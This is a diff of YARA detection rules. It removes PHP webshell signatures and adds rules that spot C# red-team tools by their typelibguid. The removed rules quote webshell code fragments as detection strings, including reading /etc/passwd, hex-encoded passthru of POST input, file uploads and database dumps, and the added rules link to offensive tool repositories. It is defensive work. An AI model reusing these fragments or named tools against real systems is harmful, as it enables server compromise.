+		$typelibguid1up = "0242B5B1-4D26-413E-8C8C-13B4ED30D510" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell__Cyber_Shell_Cybershell_Cyber_Shell__V_1_0_
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Badpotato : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - from files Cyber Shell.php, cybershell.php, Cyber Shell (v 1.0).php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "79146f25-87b9-5216-af88-4e433bb08b90"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6737-L6754"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fc2cf9a25ccc5aa3d9dc287ef9600b065ba9025cfb0a1ccca1bce9120ea03ff4"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "8bee12fc-fc29-5256-b559-d914ef202c0c"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/BeichenDream/BadPotato"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3067-L3081"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "52b80fa9f4738fb8d9ce14f2881e19122219a13e9fc3acdf87ed7bfea371ebc4"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "ef7f7c45d26614cea597f2f8e64a85d54630fe38"
-		hash1 = "cabf47b96e3b2c46248f075bdbc46197db28a25f"
-		hash2 = "9e165d4ed95e0501cd9a90155ac60546eb5b1076"
 
 	strings:
-		$s4 = " <a href=\"http://www.cyberlords.net\" target=\"_blank\">Cyber Lords Community</"
-		$s10 = "echo \"<meta http-equiv=Refresh content=\\\"0; url=$PHP_SELF?edit=$nameoffile&sh"
-		$s11 = " *   Coded by Pixcher" fullword
-		$s16 = "<input type=text size=55 name=newfile value=\"$d/newfile.php\">" fullword
+		$typelibguid0lo = "0527a14f-1591-4d94-943e-d6d784a50549" ascii wide
+		$typelibguid0up = "0527A14F-1591-4D94-943E-D6D784A50549" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell__Ajax_PHP_Command_Shell_Ajax_PHP_Command_Shell_Soldierofallah
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Lethalhta : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - from files Ajax_PHP Command Shell.php, Ajax_PHP_Command_Shell.php, soldierofallah.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a158d158-d48d-514c-8b7b-4b6a4a10d021"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6755-L6775"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0b9e0d96c8a618a4883235e8c5c9a03a1e0b586cb4b30e0273e24c35ee5ee502"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "e8e1ad03-a5f0-5508-b78d-0de7bdaf4704"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/codewhitesec/LethalHTA"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3083-L3099"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c9957f9e0838c5c708afa1651aedb9c6cb003f53c1ce38b200b1526da8fa3a65"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "fa11deaee821ca3de7ad1caafa2a585ee1bc8d82"
-		hash1 = "c0a4ba3e834fb63e0a220a43caaf55c654f97429"
-		hash2 = "16fa789b20409c1f2ffec74484a30d0491904064"
 
 	strings:
-		$s1 = "'Read /etc/passwd' => \"runcommand('etcpasswdfile','GET')\"," fullword
-		$s2 = "'Running processes' => \"runcommand('ps -aux','GET')\"," fullword
-		$s3 = "$dt = $_POST['filecontent'];" fullword
-		$s4 = "'Open ports' => \"runcommand('netstat -an | grep -i listen','GET')\"," fullword
-		$s6 = "print \"Sorry, none of the command functions works.\";" fullword
-		$s11 = "document.cmdform.command.value='';" fullword
-		$s12 = "elseif(isset($_GET['savefile']) && !empty($_POST['filetosave']) && !empty($_POST"
+		$typelibguid0lo = "784cde17-ff0f-4e43-911a-19119e89c43f" ascii wide
+		$typelibguid0up = "784CDE17-FF0F-4E43-911A-19119E89C43F" ascii wide
+		$typelibguid1lo = "7e2de2c0-61dc-43ab-a0ec-c27ee2172ea6" ascii wide
+		$typelibguid1up = "7E2DE2C0-61DC-43AB-A0EC-C27EE2172EA6" ascii wide
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Generic_PHP_7
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpstat : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive"
-		author = "Florian Roth (Nextron Systems)"
-		id = "506373d6-31b4-5a14-b009-f2b43028a98b"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6776-L6794"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9d9b6b1333f2061c357fad110b5cc508288c70aea1212aa2fcbf283a2ce4fb2c"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "649c6cc0-e43b-558c-9567-00f352af528b"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/Raikia/SharpStat"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3101-L3115"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8b9193262c5ab6e43d804c964821ab986c038a0ba834b22785e75e846fca649b"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "de98f890790756f226f597489844eb3e53a867a9"
-		hash1 = "128988c8ef5294d51c908690d27f69dffad4e42e"
-		hash2 = "fd64f2bf77df8bcf4d161ec125fa5c3695fe1267"
-		hash3 = "715f17e286416724e90113feab914c707a26d456"
 
 	strings:
-		$s0 = "header(\"Content-disposition: filename=$filename.sql\");" fullword
-		$s1 = "else if( $action == \"dumpTable\" || $action == \"dumpDB\" ) {" fullword
-		$s2 = "echo \"<font color=blue>[$USERNAME]</font> - \\n\";" fullword
-		$s4 = "if( $action == \"dumpTable\" )" fullword
+		$typelibguid0lo = "ffc5c721-49c8-448d-8ff4-2e3a7b7cc383" ascii wide
+		$typelibguid0up = "FFC5C721-49C8-448D-8FF4-2E3A7B7CC383" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell__Small_Web_Shell_By_Zaco_Small_Zaco_Zacosmall
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sneakyservice : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - from files Small Web Shell by ZaCo.php, small.php, zaco.php, zacosmall.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "99dbcea6-7208-5bbe-b200-9ea3074d7855"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6795-L6813"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "840c58043e39014e90e7621c1d2417d5a970c744560738abc4fea3db3cbb8d5a"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "d02d34f0-7aa1-5110-b7ea-670b5fb98150"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/malcomvetter/SneakyService"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3117-L3131"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cf35b2709e6a998ee672681d99f91fe5f452ba612bf0c5d9abe20e93d3cb236e"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "b148ead15d34a55771894424ace2a92983351dda"
-		hash1 = "e4ba288f6d46dc77b403adf7d411a280601c635b"
-		hash2 = "e5713d6d231c844011e9a74175a77e8eb835c856"
-		hash3 = "1b836517164c18caf2c92ee2a06c645e26936a0c"
 
 	strings:
-		$s2 = "if(!$result2)$dump_file.='#error table '.$rows[0];" fullword
-		$s4 = "if(!(@mysql_select_db($db_dump,$mysql_link)))echo('DB error');" fullword
-		$s6 = "header('Content-Length: '.strlen($dump_file).\"\\n\");" fullword
-		$s20 = "echo('Dump for '.$db_dump.' now in '.$to_file);" fullword
+		$typelibguid0lo = "897819d5-58e0-46a0-8e1a-91ea6a269d84" ascii wide
+		$typelibguid0up = "897819D5-58E0-46A0-8E1A-91EA6A269D84" ascii wide
 
 	condition:
-		2 of them
-}
-rule SIGNATURE_BASE_Webshell_Generic_PHP_8
-{
-	meta:
-		description = "PHP Webshells Github Archive"
-		author = "Florian Roth (Nextron Systems)"
-		id = "40c6f69f-9963-5e4f-af44-041d47738519"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6814-L6833"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "346df2686c4d43b3210b07a30845477e057602500e67baba69b50c41e8d501fa"
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+}
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpexec : FILE
+{
+	meta:
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "5faff0aa-9ffe-5ac0-b9e0-ca9f79350036"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/anthemtotheego/SharpExec"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3133-L3147"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0a8faa0abbd8654901a5b96dff22a635fd7d429a736fe9406c37e9bb724d2c89"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "fc1ae242b926d70e32cdb08bbe92628bc5bd7f99"
-		hash1 = "9ad55629c4576e5a31dd845012d13a08f1c1f14e"
-		hash2 = "c4aa2cf665c784553740c3702c3bfcb5d7af65a3"
 
 	strings:
-		$s1 = "elseif ( $cmd==\"file\" ) { /* <!-- View a file in text --> */" fullword
-		$s2 = "elseif ( $cmd==\"upload\" ) { /* <!-- Upload File form --> */ " fullword
-		$s3 = "/* I added this to ensure the script will run correctly..." fullword
-		$s14 = "<!--    </form>   -->" fullword
-		$s15 = "<form action=\\\"$SFileName?$urlAdd\\\" method=\\\"POST\\\">" fullword
-		$s20 = "elseif ( $cmd==\"downl\" ) { /*<!-- Save the edited file back to a file --> */" fullword
+		$typelibguid0lo = "7fbad126-e21c-4c4e-a9f0-613fcf585a71" ascii wide
+		$typelibguid0up = "7FBAD126-E21C-4C4E-A9F0-613FCF585A71" ascii wide
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell__PH_Vayv_Phvayv_PH_Vayv_Klasvayv_Asp_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpcom : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - from files PH Vayv.php, PHVayv.php, PH_Vayv.php, klasvayv.asp.php.txt"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1575591b-3245-5c3d-b2a4-6def89e77032"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6834-L6852"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "42959ba1e3c0f7f198f953e98b9df87059999f5526df4338c109828d0a5a518a"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "94da3da4-a8aa-5735-9a04-1f2447a330aa"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/rvrsh3ll/SharpCOM"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3149-L3163"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c11955ce6a0a56de198b22d3716ce496573374847004a62f4b3a682edaa68ebe"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "b51962a1ffa460ec793317571fc2f46042fd13ee"
-		hash1 = "408ac9ca3d435c0f78bda370b33e84ba25afc357"
-		hash2 = "4003ae289e3ae036755976f8d2407c9381ff5653"
-		hash3 = "4f83bc2836601225a115b5ad54496428a507a361"
 
 	strings:
-		$s1 = "<font color=\"#000000\">Sil</font></a></font></td>" fullword
-		$s5 = "<td width=\"122\" height=\"17\" bgcolor=\"#9F9F9F\">" fullword
-		$s6 = "onfocus=\"if (this.value == 'Kullan" fullword
-		$s16 = "<img border=\"0\" src=\"http://www.aventgrup.net/arsiv/klasvayv/1.0/2.gif\">"
+		$typelibguid0lo = "51960f7d-76fe-499f-afbd-acabd7ba50d1" ascii wide
+		$typelibguid0up = "51960F7D-76FE-499F-AFBD-ACABD7BA50D1" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Generic_PHP_9
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Inception : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - from files KAdot Universal Shell v0.1.6.php, KAdot_Universal_Shell_v0.1.6.php, KA_uShell 0.1.6.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "98927127-08be-57ac-a090-38c7e614dae7"
-		date = "2014-04-06"
-		modified = "2022-12-06"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6854-L6874"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9f8768f609ccd464f7c2b9d10ce8ea423355e11b05b39e629e5e3de0787e212b"
-		score = 70
-		quality = 77
-		tags = ""
-		super_rule = 1
-		hash0 = "89f2a7007a2cd411e0a7abd2ff5218d212b84d18"
-		hash1 = "2266178ad4eb72c2386c0a4d536e5d82bb7ed6a2"
-		hash2 = "0daed818cac548324ad0c5905476deef9523ad73"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "8d18f1d5-9c9a-5258-9f96-fa24b702c6ad"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/two06/Inception"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3165-L3179"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "333f2d92dad837ab1d9ce9bfbd0aac790026c9624d7f5e77c7a60fc6c4a72ca0"
+		score = 75
+		quality = 85
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 3a 3c 62 3e 22 20 2e 62 61 73 65 36 34 5f 64 65 63 6f 64 65 28 24 5f 50 4f 53 54 5b 27 74 6f 74 27 5d 29 2e 20 22 3c 2f 62 3e 22 3b }
-		$ = { 69 66 20 28 69 73 73 65 74 28 24 5f 50 4f 53 54 5b 27 77 71 27 5d 29 20 26 26 20 24 5f 50 4f 53 54 5b 27 77 71 27 5d 3c 3e 22 22 29 20 7b }
-		$ = { 70 61 73 73 74 68 72 75 28 24 5f 50 4f 53 54 5b 27 63 27 5d 29 3b }
-		$ = { 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 72 61 64 69 6f 22 20 6e 61 6d 65 3d 22 74 61 63 22 20 76 61 6c 75 65 3d 22 31 22 3e 42 36 34 20 44 65 63 6f 64 65 3c 62 72 3e }
+		$typelibguid0lo = "03d96b8c-efd1-44a9-8db2-0b74db5d247a" ascii wide
+		$typelibguid0up = "03D96B8C-EFD1-44A9-8DB2-0B74DB5D247A" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell__PH_Vayv_Phvayv_PH_Vayv
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpwmi_1 : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - from files PH Vayv.php, PHVayv.php, PH_Vayv.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1575591b-3245-5c3d-b2a4-6def89e77032"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6876-L6892"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b2f2b95415bc990adac38eada20cbc793f286d51f2054bc969e9c667f16717f9"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "cd5a1c7b-a45a-5541-b1b0-cf19c991ed22"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		old_rule_name = "HKTL_NET_GUID_sharpwmi"
+		reference = "https://github.com/QAX-A-Team/sharpwmi"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3181-L3196"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "85e22c021c6d421e97d7ea811b3d3800c487a0185ddab6cb80b2d35cb97a73d7"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "b51962a1ffa460ec793317571fc2f46042fd13ee"
-		hash1 = "408ac9ca3d435c0f78bda370b33e84ba25afc357"
-		hash2 = "4003ae289e3ae036755976f8d2407c9381ff5653"
 
 	strings:
-		$s4 = "<form method=\"POST\" action=\"<?echo \"PHVayv.php?duzkaydet=$dizin/$duzenle"
-		$s12 = "<? if ($ekinci==\".\" or  $ekinci==\"..\") {" fullword
-		$s17 = "name=\"duzenx2\" value=\"Klas" fullword
+		$typelibguid0lo = "bb357d38-6dc1-4f20-a54c-d664bd20677e" ascii wide
+		$typelibguid0up = "BB357D38-6DC1-4F20-A54C-D664BD20677E" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Generic_PHP_1
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_CVE_2019_1064 : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - from files Dive Shell 1.0"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9a87038b-3f78-5b9a-a209-c9026d83363f"
-		date = "2014-04-06"
-		modified = "2022-12-06"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6894-L6913"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9e3759d45d13e33481b962c4b59a019647a3e80bdd3885c4404169af74288b89"
-		score = 70
-		quality = 79
-		tags = ""
-		super_rule = 1
-		hash0 = "3b086b9b53cf9d25ff0d30b1d41bb2f45c7cda2b"
-		hash1 = "2558e728184b8efcdb57cfab918d95b06d45de04"
-		hash2 = "203a8021192531d454efbc98a3bbb8cabe09c85c"
-		hash3 = "b79709eb7801a28d02919c41cc75ac695884db27"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "4640e874-faa4-58dc-a3f3-18246a343f15"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/RythmStick/CVE-2019-1064"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3198-L3212"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d78b15454af39bca869c07a78550d2b3827ecdd03bcf02a8614e0c8247fcf5c1"
+		score = 75
+		quality = 85
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 76 61 72 20 63 6f 6d 6d 61 6e 64 5f 68 69 73 74 20 3d 20 6e 65 77 20 41 72 72 61 79 28 3c 3f 70 68 70 20 65 63 68 6f 20 24 6a 73 5f 63 6f 6d 6d 61 6e 64 5f 68 69 73 74 20 3f 3e 29 3b }
-		$ = { 69 66 20 28 65 6d 70 74 79 28 24 5f 53 45 53 53 49 4f 4e 5b 27 63 77 64 27 5d 29 20 7c 7c 20 21 65 6d 70 74 79 28 24 5f 52 45 51 55 45 53 54 5b 27 72 65 73 65 74 27 5d 29 29 20 7b }
-		$ = { 69 66 20 28 65 2e 6b 65 79 43 6f 64 65 20 3d 3d 20 33 38 20 26 26 20 63 75 72 72 65 6e 74 5f 6c 69 6e 65 20 3c 20 63 6f 6d 6d 61 6e 64 5f 68 69 73 74 2e 6c 65 6e 67 74 68 2d 31 29 20 7b }
+		$typelibguid0lo = "ff97e98a-635e-4ea9-b2d0-1a13f6bdbc38" ascii wide
+		$typelibguid0up = "FF97E98A-635E-4EA9-B2D0-1A13F6BDBC38" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Generic_PHP_2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Tokenvator : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - from files CrystalShell v.1.php, load_shell.php, Loaderz WEB Shell.php, stres.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "be335331-34d7-5abc-b29b-eac7a5ec3915"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6915-L6934"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0a63d3b00ad9719140da9bb5dcb49981c4d3758fac13c392d016b47e54f356c8"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "84ebb6b3-cf11-5172-95d4-d114bfeb0bc7"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/0xbadjuju/Tokenvator"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3214-L3228"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7bd3cc74ea70f247836ed4d0da9602b21e962c6b7b2d8fdf89c9c46ba919fc71"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "335a0851304acedc3f117782b61479bbc0fd655a"
-		hash1 = "ca9fcfb50645dc0712abdf18d613ed2196e66241"
-		hash2 = "36d8782d749638fdcaeed540d183dd3c8edc6791"
-		hash3 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
 
 	strings:
-		$s3 = "if((isset($_POST['fileto']))||(isset($_POST['filefrom'])))" fullword
-		$s4 = "\\$port = {$_POST['port']};"
-		$s5 = "$_POST['installpath'] = \"temp.pl\";}" fullword
-		$s14 = "if(isset($_POST['post']) and $_POST['post'] == \"yes\" and @$HTTP_POST_FILES[\"u"
-		$s16 = "copy($HTTP_POST_FILES[\"userfile\"][\"tmp_name\"],$HTTP_POST_FILES[\"userfile\"]"
+		$typelibguid0lo = "4b2b3bd4-d28f-44cc-96b3-4a2f64213109" ascii wide
+		$typelibguid0up = "4B2B3BD4-D28F-44CC-96B3-4A2F64213109" ascii wide
 
 	condition:
-		4 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell__Crystalshell_V_1_Erne_Stres
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Wheresmyimplant : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - from files CrystalShell v.1.php, erne.php, stres.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4e73e42e-b968-5b68-a00d-d2a8a1f3541c"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6935-L6956"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a0484a5a71715d6a79c89e20919ab89aaa7e85a18ee502651f1f6b29153847a3"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "c99523ce-e2c0-5a21-89d1-70c0dd970731"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/0xbadjuju/WheresMyImplant"
